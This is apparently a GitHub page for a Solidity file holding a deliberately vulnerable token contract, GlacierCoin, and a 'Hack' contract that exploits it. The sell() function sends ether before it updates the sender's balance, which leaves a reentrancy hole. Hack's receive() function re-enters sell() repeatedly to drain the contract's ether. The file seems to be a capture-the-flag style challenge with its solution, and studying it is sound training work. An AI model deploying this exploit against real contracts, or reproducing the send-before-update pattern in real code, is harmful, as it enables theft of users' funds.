-
Notifications
You must be signed in to change notification settings - Fork 0
/
GlacierCoin.sol
80 lines (66 loc) · 2.24 KB
/
GlacierCoin.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract GlacierCoin
{
address owner;
mapping(address => uint) public balances;
mapping(address => uint) public frozen;
constructor()
{
owner = msg.sender;
}
//This is the function you need to call to buy tokens
function buy() public payable
{
_mint(msg.value, msg.sender);
}
//This is the function you need to call to burn tokens
function burn(uint256 amount) public
{
require(balances[msg.sender] >= amount, "You can not burn this much as you are poor af");
balances[msg.sender] -= amount;
}
//This is a even cooler contract than ERC20 you can not only burn, but also freeze your token.
function freeze(uint256 amount) public
{
require(balances[msg.sender] >= amount, "You can not freeze this much as you are poor af");
frozen[msg.sender] += amount;
balances[msg.sender] -= amount;
}
//You can even unfreeze your token, but you can only unfreeze as much as you have frozen
function defrost(uint256 amount) public
{
require(frozen[msg.sender] >= amount, "You can not unfreeze this much");
frozen[msg.sender] -= amount;
balances[msg.sender] += amount;
}
//You can even sell your token for ether, but you can only sell as much as you have
function sell(uint256 amount) public
{
require(balances[msg.sender] >= amount, "You can not sell this much as you are poor af");
uint256 new_balance = balances[msg.sender] - amount;
(msg.sender).call{value: amount}("");
balances[msg.sender] = new_balance;
}
//Internal functions (These shouldn't interest you)
function _mint(uint256 amount, address target) internal
{
balances[target] += amount;
}
}
contract Hack {
GlacierCoin target;
constructor(GlacierCoin _target) {
target = _target;
}
function hack() external payable {
require(msg.value == 1 ether, "Provide 1 ether to start the exploit");
target.buy{value: msg.value}();
target.sell(msg.value);
}
receive() external payable {
if (address(target).balance > 0) {
target.sell(msg.value);
}
}
}